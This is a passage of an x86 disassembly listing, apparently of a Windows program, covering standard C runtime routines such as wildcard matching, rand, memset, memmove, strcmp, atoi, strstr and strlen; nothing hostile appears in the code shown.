sub_415368 proc near ; CODE XREF: sub_4152D2+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_415389
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_415389: ; CODE XREF: sub_415368+19j
push ebx
push esi
loc_41538B: ; CODE XREF: sub_415368+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_415399
cmp [ebp+var_4], eax
jnz short loc_4153E5
loc_415399: ; CODE XREF: sub_415368+2Aj
test edi, edi
jnz short loc_4153DA
cmp bl, 2Dh
jnz short loc_4153CE
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_4153CE
cmp al, 5Dh
jz short loc_4153CE
cmp [ebp+var_4], edi
jnz short loc_4153CE
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_4153DA
cmp bl, al
jg short loc_4153DA
push 1
mov [edx], esi
pop edi
jmp short loc_4153DA
; ---------------------------------------------------------------------------
loc_4153CE: ; CODE XREF: sub_415368+38j
; sub_415368+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_4153DA
push 1
pop edi
loc_4153DA: ; CODE XREF: sub_415368+33j
; sub_415368+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_41538B
; ---------------------------------------------------------------------------
loc_4153E5: ; CODE XREF: sub_415368+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_4153F2
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_4153F2: ; CODE XREF: sub_415368+82j
cmp edi, eax
jnz short loc_4153FB
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_4153FB: ; CODE XREF: sub_415368+8Cj
mov eax, edi
pop edi
leave
retn
sub_415368 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415400 proc near ; CODE XREF: sub_4152D2+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_41541C: ; CODE XREF: sub_415400+3Aj
cmp [eax], bl
jz short loc_41543C
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_415431
cmp cl, 2Ah
jnz short loc_41543C
cmp cl, 3Fh
jnz short loc_415434
loc_415431: ; CODE XREF: sub_415400+25j
inc eax
mov [edi], eax
loc_415434: ; CODE XREF: sub_415400+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_41541C
; ---------------------------------------------------------------------------
loc_41543C: ; CODE XREF: sub_415400+1Ej
; sub_415400+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_415447
inc dword ptr [esi]
jmp short loc_41543C
; ---------------------------------------------------------------------------
loc_415447: ; CODE XREF: sub_415400+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_415468
mov edx, [esi]
cmp [edx], bl
jz short loc_415459
xor eax, eax
jmp short loc_4154C8
; ---------------------------------------------------------------------------
loc_415459: ; CODE XREF: sub_415400+53j
cmp cl, bl
jnz short loc_415468
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_415468
push 1
pop eax
jmp short loc_4154C8
; ---------------------------------------------------------------------------
loc_415468: ; CODE XREF: sub_415400+4Dj
; sub_415400+5Bj ...
push eax
push dword ptr [esi]
call sub_4152D2
pop ecx
test eax, eax
pop ecx
jnz short loc_4154B2
loc_415476: ; CODE XREF: sub_415400+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_41547A: ; CODE XREF: sub_415400+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_415492
cmp cl, 5Bh
jz short loc_415492
cmp dl, bl
jz short loc_415492
inc eax
mov [edi], eax
jmp short loc_41547A
; ---------------------------------------------------------------------------
loc_415492: ; CODE XREF: sub_415400+82j
; sub_415400+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_4154A9
push eax
push dword ptr [esi]
call sub_4152D2
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_4154AE
; ---------------------------------------------------------------------------
loc_4154A9: ; CODE XREF: sub_415400+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_4154AE: ; CODE XREF: sub_415400+A7j
cmp eax, ebx
jnz short loc_415476
loc_4154B2: ; CODE XREF: sub_415400+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_4154C5
mov eax, [esi]
cmp [eax], bl
jnz short loc_4154C5
mov [ebp+var_4], 1
loc_4154C5: ; CODE XREF: sub_415400+B6j
; sub_415400+BCj
mov eax, [ebp+var_4]
loc_4154C8: ; CODE XREF: sub_415400+57j
; sub_415400+66j
pop edi
pop esi
pop ebx
leave
retn
sub_415400 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4154CD proc near ; CODE XREF: start+61p
; seg000:004013BAp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_417D2C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41550D
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41551A
; ---------------------------------------------------------------------------
loc_41550D: ; CODE XREF: sub_4154CD+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C17
pop ecx
pop ecx
loc_41551A: ; CODE XREF: sub_4154CD+3Ej
mov eax, esi
pop esi
leave
retn
sub_4154CD endp
; =============== S U B R O U T I N E =======================================
sub_41551F proc near ; CODE XREF: start+2Ep sub_401BD6+46p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ds:dword_437D08, eax
retn
sub_41551F endp
; =============== S U B R O U T I N E =======================================
sub_415529 proc near ; CODE XREF: seg000:0040117Dp
; seg000:004011F1p ...
mov eax, ds:dword_437D08
imul eax, 343FDh
add eax, 269EC3h
mov ds:dword_437D08, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_415529 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415550 proc near ; CODE XREF: seg000:00401333p
; seg000:0040194Fp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_4155A3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_415597
neg ecx
and ecx, 3
jz short loc_415579
sub edx, ecx
loc_415573: ; CODE XREF: sub_415550+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_415573
loc_415579: ; CODE XREF: sub_415550+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_415597
rep stosd
test edx, edx
jz short loc_41559D
loc_415597: ; CODE XREF: sub_415550+18j
; sub_415550+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_415597
loc_41559D: ; CODE XREF: sub_415550+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4155A3: ; CODE XREF: sub_415550+Aj
mov eax, [esp+arg_0]
retn
sub_415550 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155B0 proc near ; CODE XREF: seg000:004012DFp
; seg000:004012F0p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4155D0
cmp edi, eax
jb loc_415748
loc_4155D0: ; CODE XREF: sub_4155B0+16j
test edi, 3
jnz short loc_4155EC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41560C
rep movsd
jmp ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
loc_4155EC: ; CODE XREF: sub_4155B0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_415604
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_41560C+4[eax*4]
; ---------------------------------------------------------------------------
loc_415604: ; CODE XREF: sub_4155B0+46j
jmp dword ptr ds:loc_415708[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41560C: ; CODE XREF: sub_4155B0+31j
; sub_4155B0+8Ej ...
jmp ds:off_41568C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_415620
dd offset loc_41564C
dd offset loc_415670
; ---------------------------------------------------------------------------
loc_415620: ; DATA XREF: sub_4155B0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41560C
rep movsd
jmp ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41564C: ; DATA XREF: sub_4155B0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41560C
rep movsd
jmp ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_415670: ; DATA XREF: sub_4155B0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41560C
rep movsd
jmp ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41568C dd offset loc_4156EF ; DATA XREF: sub_4155B0:loc_41560Cr
dd offset loc_4156DC
dd offset loc_4156D4
dd offset loc_4156CC
dd offset loc_4156C4
dd offset loc_4156BC
dd offset loc_4156B4
dd offset loc_4156AC
; ---------------------------------------------------------------------------
loc_4156AC: ; CODE XREF: sub_4155B0:loc_41560Cj
; DATA XREF: sub_4155B0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4156B4: ; CODE XREF: sub_4155B0:loc_41560Cj
; DATA XREF: sub_4155B0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4156BC: ; CODE XREF: sub_4155B0:loc_41560Cj
; DATA XREF: sub_4155B0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4156C4: ; CODE XREF: sub_4155B0:loc_41560Cj
; DATA XREF: sub_4155B0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4156CC: ; CODE XREF: sub_4155B0:loc_41560Cj
; DATA XREF: sub_4155B0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4156D4: ; CODE XREF: sub_4155B0:loc_41560Cj
; DATA XREF: sub_4155B0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4156DC: ; CODE XREF: sub_4155B0:loc_41560Cj
; DATA XREF: sub_4155B0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4156EF: ; CODE XREF: sub_4155B0:loc_41560Cj
; DATA XREF: sub_4155B0:off_41568Co
jmp ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4156F8 dd offset loc_415708 ; DATA XREF: sub_4155B0+35r
; sub_4155B0+92r ...
dd offset loc_415710
dd offset loc_41571C
dd offset loc_415730
; ---------------------------------------------------------------------------
loc_415708: ; CODE XREF: sub_4155B0+35j
; sub_4155B0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_415710: ; CODE XREF: sub_4155B0+35j
; sub_4155B0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41571C: ; CODE XREF: sub_4155B0+35j
; sub_4155B0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_415730: ; CODE XREF: sub_4155B0+35j
; sub_4155B0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_415748: ; CODE XREF: sub_4155B0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41577C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_415770
std
rep movsd
cld
jmp ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_415770: ; CODE XREF: sub_4155B0+1B1j
; sub_4155B0+208j ...
neg ecx
jmp ds:off_415840[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41577C: ; CODE XREF: sub_4155B0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_415794
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_415794+4[eax*4]
; ---------------------------------------------------------------------------
loc_415794: ; CODE XREF: sub_4155B0+1D6j
; DATA XREF: sub_4155B0+1DDr
jmp ds:off_415890[ecx*4]
; ---------------------------------------------------------------------------
align 4
test al, 57h
inc ecx
add al, cl
push edi
inc ecx
add al, dh
push edi
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_415770
std
rep movsd
cld
jmp ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_415770
std
rep movsd
cld
jmp ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_415770
std
rep movsd
cld
jmp ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_415844
dd offset loc_41584C
dd offset loc_415854
dd offset loc_41585C
dd offset loc_415864
dd offset loc_41586C
dd offset loc_415874
off_415840 dd offset loc_415887 ; DATA XREF: sub_4155B0+1C2r
; ---------------------------------------------------------------------------
loc_415844: ; DATA XREF: sub_4155B0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41584C: ; DATA XREF: sub_4155B0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_415854: ; DATA XREF: sub_4155B0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41585C: ; DATA XREF: sub_4155B0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_415864: ; DATA XREF: sub_4155B0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41586C: ; DATA XREF: sub_4155B0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_415874: ; DATA XREF: sub_4155B0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_415887: ; CODE XREF: sub_4155B0+1C2j
; DATA XREF: sub_4155B0:off_415840o
jmp ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_415890 dd offset loc_4158A0 ; DATA XREF: sub_4155B0+1B7r
; sub_4155B0:loc_415794r ...
dd offset loc_4158A8
dd offset loc_4158B8
dd offset loc_4158CC
; ---------------------------------------------------------------------------
loc_4158A0: ; CODE XREF: sub_4155B0+1B7j
; sub_4155B0:loc_415794j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4158A8: ; CODE XREF: sub_4155B0+1B7j
; sub_4155B0:loc_415794j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4158B8: ; CODE XREF: sub_4155B0+1B7j
; sub_4155B0:loc_415794j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4158CC: ; CODE XREF: sub_4155B0+1B7j
; sub_4155B0:loc_415794j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_4155B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4158F0 proc near ; CODE XREF: seg000:004011AEp
; seg000:004011CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41593C
loc_415900: ; CODE XREF: sub_4158F0+3Cj
; sub_4158F0+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_415934
or al, al
jz short loc_415930
cmp ah, [ecx+1]
jnz short loc_415934
or ah, ah
jz short loc_415930
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_415934
or al, al
jz short loc_415930
cmp ah, [ecx+3]
jnz short loc_415934
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_415900
mov edi, edi
loc_415930: ; CODE XREF: sub_4158F0+18j
; sub_4158F0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_415934: ; CODE XREF: sub_4158F0+14j
; sub_4158F0+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41593C: ; CODE XREF: sub_4158F0+Ej
test edx, 1
jz short loc_415958
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_415934
inc ecx
or al, al
jz short loc_415930
test edx, 2
jz short loc_415900
loc_415958: ; CODE XREF: sub_4158F0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_415934
or al, al
jz short loc_415930
cmp ah, [ecx+1]
jnz short loc_415934
or ah, ah
jz short loc_415930
add ecx, 2
jmp short loc_415900
sub_4158F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415980 proc near ; CODE XREF: seg000:00401250p
; sub_41AD1D+7F8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_415999
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_415999: ; CODE XREF: sub_415980+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_415980 endp
; =============== S U B R O U T I N E =======================================
sub_4159B4 proc near ; CODE XREF: sub_415A3F+4p
; sub_41E142+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_4159BC: ; CODE XREF: sub_4159B4+34j
cmp ds:dword_437F5C, 1
jle short loc_4159D4
movzx eax, byte ptr [edi]
push 8
push eax
call sub_418536
pop ecx
pop ecx
jmp short loc_4159E3
; ---------------------------------------------------------------------------
loc_4159D4: ; CODE XREF: sub_4159B4+Fj
movzx eax, byte ptr [edi]
mov ecx, ds:off_437D50
mov al, [ecx+eax*2]
and eax, 8
loc_4159E3: ; CODE XREF: sub_4159B4+1Ej
test eax, eax
jz short loc_4159EA
inc edi
jmp short loc_4159BC
; ---------------------------------------------------------------------------
loc_4159EA: ; CODE XREF: sub_4159B4+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_4159FA
cmp esi, 2Bh
jnz short loc_4159FE
loc_4159FA: ; CODE XREF: sub_4159B4+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_4159FE: ; CODE XREF: sub_4159B4+44j
xor ebx, ebx
loc_415A00: ; CODE XREF: sub_4159B4+7Bj
cmp ds:dword_437F5C, 1
jle short loc_415A15
push 4
push esi
call sub_418536
pop ecx
pop ecx
jmp short loc_415A20
; ---------------------------------------------------------------------------
loc_415A15: ; CODE XREF: sub_4159B4+53j
mov eax, ds:off_437D50
mov al, [eax+esi*2]
and eax, 4
loc_415A20: ; CODE XREF: sub_4159B4+5Fj
test eax, eax
jz short loc_415A31
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_415A00
; ---------------------------------------------------------------------------
loc_415A31: ; CODE XREF: sub_4159B4+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_415A3A
neg eax
loc_415A3A: ; CODE XREF: sub_4159B4+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4159B4 endp
; =============== S U B R O U T I N E =======================================
sub_415A3F proc near ; CODE XREF: sub_4013E9+12p
; sub_4013E9+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4159B4
pop ecx
retn
sub_415A3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A4A proc near ; CODE XREF: sub_401BD6+460p
; seg000:004021D3p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_417D2C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_415A89
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_415A96
; ---------------------------------------------------------------------------
loc_415A89: ; CODE XREF: sub_415A4A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C17
pop ecx
pop ecx
loc_415A96: ; CODE XREF: sub_415A4A+3Dj
mov eax, esi
pop esi
leave
retn
sub_415A4A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415AA0 proc near ; CODE XREF: sub_401BD6+2D8p
; sub_401BD6+2F8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_415B1A
mov dh, [ecx+1]
test dh, dh
jz short loc_415B07
loc_415AB8: ; CODE XREF: sub_415AA0+52j
; sub_415AA0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_415ADA
test al, al
jz short loc_415AD4
loc_415AC9: ; CODE XREF: sub_415AA0+32j
mov al, [esi]
inc esi
loc_415ACC: ; CODE XREF: sub_415AA0+3Fj
cmp al, dl
jz short loc_415ADA
test al, al
jnz short loc_415AC9
loc_415AD4: ; CODE XREF: sub_415AA0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_415ADA: ; CODE XREF: sub_415AA0+23j
; sub_415AA0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_415ACC
lea edi, [esi-1]
loc_415AE4: ; CODE XREF: sub_415AA0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_415B13
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_415AB8
mov al, [ecx+3]
test al, al
jz short loc_415B13
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_415AE4
jmp short loc_415AB8
; ---------------------------------------------------------------------------
loc_415B07: ; CODE XREF: sub_415AA0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_417066
; ---------------------------------------------------------------------------
loc_415B13: ; CODE XREF: sub_415AA0+49j
; sub_415AA0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_415B1A: ; CODE XREF: sub_415AA0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_415AA0 endp
; =============== S U B R O U T I N E =======================================
sub_415B20 proc near ; CODE XREF: seg000:004021AEp
; seg000:00405AE9p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_415B35
or eax, 0FFFFFFFFh
jmp short loc_415B6F
; ---------------------------------------------------------------------------
loc_415B35: ; CODE XREF: sub_415B20+Ej
test al, 83h
jz short loc_415B6D
push esi
call sub_4186C4
push esi
mov edi, eax
call sub_41865E
push dword ptr [esi+10h]
call sub_4185AB
add esp, 0Ch
test eax, eax
jge short loc_415B5B
or edi, 0FFFFFFFFh
jmp short loc_415B6D
; ---------------------------------------------------------------------------
loc_415B5B: ; CODE XREF: sub_415B20+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_415B6D
push eax
call sub_415E1D
and dword ptr [esi+1Ch], 0
pop ecx
loc_415B6D: ; CODE XREF: sub_415B20+17j
; sub_415B20+39j ...
mov eax, edi
loc_415B6F: ; CODE XREF: sub_415B20+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_415B20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B76 proc near ; CODE XREF: seg000:004021A8p
; seg000:0040F83Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_418796
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417D2C
push [ebp+arg_0]
mov edi, eax
push esi
call sub_418823
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_415B76 endp
; =============== S U B R O U T I N E =======================================
sub_415BA8 proc near ; CODE XREF: sub_415BC8+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_4189D0
test eax, eax
jnz short loc_415BB2
retn
; ---------------------------------------------------------------------------
loc_415BB2: ; CODE XREF: sub_415BA8+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_418860
add esp, 10h
retn
sub_415BA8 endp
; =============== S U B R O U T I N E =======================================
sub_415BC8 proc near ; CODE XREF: seg000:0040216Ep
; seg000:00406D56p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_415BA8
add esp, 0Ch
retn
sub_415BC8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415BE0 proc near ; CODE XREF: sub_405B07+2BFp
; sub_40998E+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_415C51
sub_415BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415BF0 proc near ; CODE XREF: seg000:0040214Cp
; seg000:0040215Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_415C0C
loc_415BFD: ; CODE XREF: sub_415BF0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_415C3F
test ecx, 3
jnz short loc_415BFD
loc_415C0C: ; CODE XREF: sub_415BF0+Bj
; sub_415BF0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_415C0C
mov eax, [ecx-4]
test al, al
jz short loc_415C4E
test ah, ah
jz short loc_415C49
test eax, 0FF0000h
jz short loc_415C44
test eax, 0FF000000h
jz short loc_415C3F
jmp short loc_415C0C
; ---------------------------------------------------------------------------
loc_415C3F: ; CODE XREF: sub_415BF0+12j
